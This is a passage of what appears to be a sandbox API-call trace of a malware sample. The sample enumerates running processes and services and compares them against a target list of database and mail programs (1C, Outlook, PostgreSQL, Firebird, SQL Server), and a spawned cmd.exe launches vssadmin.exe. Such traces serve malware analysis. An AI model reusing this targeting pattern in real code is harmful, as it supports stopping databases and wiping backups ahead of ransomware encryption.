[0219.152] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0219.152] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0219.152] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0219.152] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0219.153] lstrlenW (lpString="smss.exe") returned 8 [0219.153] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0219.154] lstrlenW (lpString="csrss.exe") returned 9 [0219.154] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0219.155] lstrlenW (lpString="wininit.exe") returned 11 [0219.155] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0219.155] lstrlenW (lpString="csrss.exe") returned 9 [0219.155] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0219.156] lstrlenW (lpString="winlogon.exe") returned 12 [0219.156] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0219.157] lstrlenW (lpString="services.exe") returned 12 [0219.157] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0219.157] lstrlenW (lpString="lsass.exe") returned 9 [0219.157] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0219.158] lstrlenW (lpString="lsm.exe") returned 7 [0219.158] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.159] lstrlenW (lpString="svchost.exe") returned 11 [0219.159] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.160] lstrlenW (lpString="svchost.exe") returned 11 [0219.160] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.160] lstrlenW (lpString="svchost.exe") returned 11 [0219.160] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.161] lstrlenW (lpString="svchost.exe") returned 11 [0219.161] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.162] lstrlenW (lpString="svchost.exe") returned 11 [0219.162] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0219.162] lstrlenW (lpString="audiodg.exe") returned 11 [0219.163] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.163] lstrlenW (lpString="svchost.exe") returned 11 [0219.163] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.164] lstrlenW (lpString="svchost.exe") returned 11 [0219.164] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0219.165] lstrlenW (lpString="dwm.exe") returned 7 [0219.165] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0219.165] lstrlenW (lpString="explorer.exe") returned 12 [0219.165] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0219.166] lstrlenW (lpString="spoolsv.exe") returned 11 [0219.166] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0219.167] lstrlenW (lpString="taskhost.exe") returned 12 [0219.167] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.167] lstrlenW (lpString="svchost.exe") returned 11 [0219.167] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0219.168] lstrlenW (lpString="taskeng.exe") returned 11 [0219.168] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0219.169] lstrlenW (lpString="taskhost.exe") returned 12 [0219.169] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0219.170] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0219.170] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0219.171] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0219.171] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0219.171] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0219.171] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0219.172] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0219.172] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0219.173] lstrlenW (lpString="always_winds.exe") returned 16 [0219.173] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0219.173] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0219.173] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0219.174] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0219.174] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0219.175] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0219.175] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0219.175] lstrlenW (lpString="alienwed.exe") returned 12 [0219.176] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0219.176] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0219.176] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0219.177] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0219.177] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0219.177] lstrlenW (lpString="mp beginners.exe") returned 16 [0219.178] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0219.178] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0219.178] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0219.179] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0219.179] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0219.179] lstrlenW (lpString="harassment.exe") returned 14 [0219.180] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0219.180] lstrlenW (lpString="francis-communication.exe") returned 25 [0219.180] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0219.181] lstrlenW (lpString="gccinformational.exe") returned 20 [0219.181] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0219.182] lstrlenW (lpString="diploma.exe") returned 11 [0219.182] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0219.182] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0219.182] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0219.183] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0219.183] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.184] lstrlenW (lpString="svchost.exe") returned 11 [0219.184] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0219.184] lstrlenW (lpString="sppsvc.exe") returned 10 [0219.184] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.185] lstrlenW (lpString="svchost.exe") returned 11 [0219.185] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0219.186] lstrlenW (lpString="qnuriy.exe") returned 10 [0219.186] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0219.187] lstrlenW (lpString="cmd.exe") returned 7 [0219.187] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0219.188] lstrlenW (lpString="conhost.exe") returned 11 [0219.188] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0219.188] lstrlenW (lpString="vssadmin.exe") returned 12 [0219.188] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0219.189] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0219.189] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0219.190] lstrlenW (lpString="VSSVC.exe") returned 9 [0219.190] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.190] lstrlenW (lpString="svchost.exe") returned 11 [0219.190] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0219.191] CloseHandle (hObject=0x1b0) returned 1 [0219.191] Sleep (dwMilliseconds=0x1f4) [0219.934] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5700b0 [0219.935] EnumServicesStatusExW (in: hSCManager=0x5700b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0219.935] GetLastError () returned 0xea [0219.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x142e) returned 0x3f1c0d8 [0219.935] EnumServicesStatusExW (in: hSCManager=0x5700b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f1c0d8, cbBufSize=0x142e, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f1c0d8, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0219.936] CloseServiceHandle (hSCObject=0x5700b0) returned 1 [0219.936] lstrlenW (lpString="Appinfo") returned 7 [0219.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0219.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0219.936] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0219.936] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0219.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0219.936] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0219.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0219.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0219.936] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0219.937] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0219.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0219.937] lstrlenW (lpString="AudioSrv") returned 8 [0219.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0219.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0219.937] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0219.937] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0219.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0219.937] lstrlenW (lpString="BFE") returned 3 [0219.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0219.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0219.937] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0219.937] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0219.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0219.937] lstrlenW (lpString="CryptSvc") returned 8 [0219.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0219.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0219.937] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0219.937] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0219.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0219.937] lstrlenW (lpString="CscService") returned 10 [0219.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0219.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0219.937] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0219.937] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0219.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0219.937] lstrlenW (lpString="DcomLaunch") returned 10 [0219.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0219.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0219.938] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0219.938] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0219.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0219.938] lstrlenW (lpString="Dhcp") returned 4 [0219.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0219.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0219.938] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0219.938] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0219.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0219.938] lstrlenW (lpString="Dnscache") returned 8 [0219.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0219.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0219.938] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0219.938] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0219.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0219.938] lstrlenW (lpString="DPS") returned 3 [0219.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0219.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0219.938] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0219.938] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0219.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0219.938] lstrlenW (lpString="eventlog") returned 8 [0219.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0219.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0219.938] lstrcmpiW 